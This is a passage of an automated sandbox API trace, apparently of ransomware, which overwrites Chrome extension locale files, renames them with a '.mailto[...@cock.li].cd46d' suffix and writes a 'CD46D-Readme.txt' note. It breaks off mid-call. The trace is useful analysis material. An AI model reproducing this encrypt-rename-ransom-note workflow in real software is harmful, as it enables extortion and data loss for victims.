(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json")) returned 0x2020 [0189.201] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json", dwFileAttributes=0x20) returned 1 [0193.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0193.140] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x2f5fe08 | out: lpFileSize=0x2f5fe08*=254) returned 1 [0193.140] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0xfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.140] ReadFile (in: hFile=0x159c, lpBuffer=0x2f5fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f5fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f5fd8c*, lpNumberOfBytesRead=0x2f5fd88*=0x4, lpOverlapped=0x0) returned 1 [0193.141] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0c8 [0193.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af208 [0193.141] NtQuerySystemTime (in: CurrentTime=0x2f5fd68 | out: CurrentTime=0x2f5fd68*=132174899677450000) returned 0x0 [0193.141] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x54ae42b5 [0193.141] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x111bb755 [0193.141] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x9dd1774 [0193.141] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x411776ce [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x72cc48f7 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x59a1bdab [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x1d4e3797 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x20e16d32 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x37199bae [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x626c5518 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x19b7d381 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x5c9cb8ce [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x7cfb013a [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x3da8fa87 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x203ed8c1 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x124783ae [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x2b03b2b9 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x3d2016ae [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x5c4ab92 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x2ca18041 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x54a50a98 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x55b6b4db [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x2fec0dff [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x28fe66e6 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x38a48e7b [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x4a111d34 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x626e26d6 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x216703cf [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x545afba5 [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x799342fc [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x621d4adc [0193.142] RtlRandomEx (in: Seed=0x2f5fd74 | out: Seed=0x2f5fd74) returned 0x5c572cec [0193.155] ReadFile (hFile=0x159c, lpBuffer=0x12e2a008, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x2f5fd64, lpOverlapped=0x0) [0193.155] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.155] WriteFile (in: hFile=0x159c, lpBuffer=0x12e36810*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2f5fd60, lpOverlapped=0x0 | out: lpBuffer=0x12e36810*, lpNumberOfBytesWritten=0x2f5fd60*=0xfe, lpOverlapped=0x0) returned 1 [0195.136] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909988 [0195.138] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e36810) returned 1 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f99f0) returned 1 [0195.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6b40 [0195.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f99f0 [0195.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8d28 [0195.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0195.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0195.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6b70 [0195.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0195.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909460 [0195.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909460) returned 1 [0195.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0195.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f99f0) returned 1 [0195.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf5ec8 [0195.140] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.140] WriteFile (in: hFile=0x159c, lpBuffer=0x12cf5ec8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2f5fdc8, lpOverlapped=0x0 | out: lpBuffer=0x12cf5ec8*, lpNumberOfBytesWritten=0x2f5fdc8*=0x10b, lpOverlapped=0x0) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5ec8) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b70) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b40) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0195.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0195.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7720 [0195.937] wcscpy (in: _Dest=0x12cf7720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" [0195.937] wcscat (in: _Dest=0x12cf7720, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.937] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2f5fd80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c83b0 [0196.051] FlushFileBuffers (hFile=0x159c) returned 1 [0196.058] CloseHandle (hObject=0x159c) returned 1 [0196.123] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6470 [0196.123] wcscpy (in: _Dest=0x9b6470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\" [0196.123] wcscat (in: _Dest=0x9b6470, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\CD46D-Readme.txt" [0196.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\cd46d-readme.txt")) returned 0xffffffff [0196.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.144] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2f5fd88, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2f5fd88*=0x6fd, lpOverlapped=0x0) returned 1 [0196.158] CloseHandle (hObject=0x13e0) returned 1 [0196.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6470) returned 1 [0196.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d47bb8) returned 1 Thread: id = 8045 os_tid = 0x1234 [0188.481] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json")) returned 0x2020 [0188.482] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json", dwFileAttributes=0x20) returned 1 [0191.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0191.198] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x71cf7cc | out: lpFileSize=0x71cf7cc*=249) returned 1 [0191.198] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.198] ReadFile (in: hFile=0x159c, lpBuffer=0x71cf750, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x71cf74c, lpOverlapped=0x0 | out: lpBuffer=0x71cf750*, lpNumberOfBytesRead=0x71cf74c*=0x4, lpOverlapped=0x0) returned 1 [0191.199] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.199] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.199] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a30 [0191.199] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 [0191.199] NtQuerySystemTime (in: CurrentTime=0x71cf72c | out: CurrentTime=0x71cf72c*=132174899657950000) returned 0x0 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x613e15d [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x6275d025 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x58ec0a64 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x67ff003e [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x46e590ec [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0xb93ecd5 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x37014467 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x79f0ad30 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x28317950 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x3e30ef41 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x410fd129 [0191.199] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x7411db9d [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x4407cdc [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x1e4ed98b [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x2ba7fb9 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x3a33a323 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x534bcd85 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x1c354e62 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x59335451 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x7939bd79 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x5418eed6 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0xabd2b6d [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x674fd9ea [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x76d86af4 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0xfa77f80 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x1aae73b8 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x97da713 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x7965c127 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x77213b6b [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x4187d1ab [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x129a2739 [0191.200] RtlRandomEx (in: Seed=0x71cf738 | out: Seed=0x71cf738) returned 0x23647a23 [0191.213] ReadFile (hFile=0x159c, lpBuffer=0x12dec148, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x71cf728, lpOverlapped=0x0) [0191.213] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.213] WriteFile (in: hFile=0x159c, lpBuffer=0x12df8950*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x71cf724, lpOverlapped=0x0 | out: lpBuffer=0x12df8950*, lpNumberOfBytesWritten=0x71cf724*=0xf9, lpOverlapped=0x0) returned 1 [0192.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0192.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b70 [0192.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0192.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12df8950) returned 1 [0192.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dec148) returned 1 [0192.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 [0192.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0192.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f68a0 [0192.667] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.667] WriteFile (in: hFile=0x159c, lpBuffer=0x12cf5b80*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x71cf78c, lpOverlapped=0x0 | out: lpBuffer=0x12cf5b80*, lpNumberOfBytesWritten=0x71cf78c*=0x10b, lpOverlapped=0x0) returned 1 [0192.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5b80) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68d0) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68a0) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58f0) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a30) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c10) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e97b0) returned 1 [0192.752] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x933fb0 [0192.752] wcscpy (in: _Dest=0x933fb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" [0192.752] wcscat (in: _Dest=0x933fb0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.752] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x71cf744, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.752] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d7f0 Thread: id = 8046 os_tid = 0x1688 [0188.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json")) returned 0x2020 [0189.201] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json", dwFileAttributes=0x20) returned 1 [0193.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe20 [0193.159] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x3cdf830 | out: lpFileSize=0x3cdf830*=236) returned 1 [0193.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af208 [0193.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2a8 [0193.159] NtQuerySystemTime (in: CurrentTime=0x3cdf790 | out: CurrentTime=0x3cdf790*=132174899677606000) returned 0x0 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x26c1bb31 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: 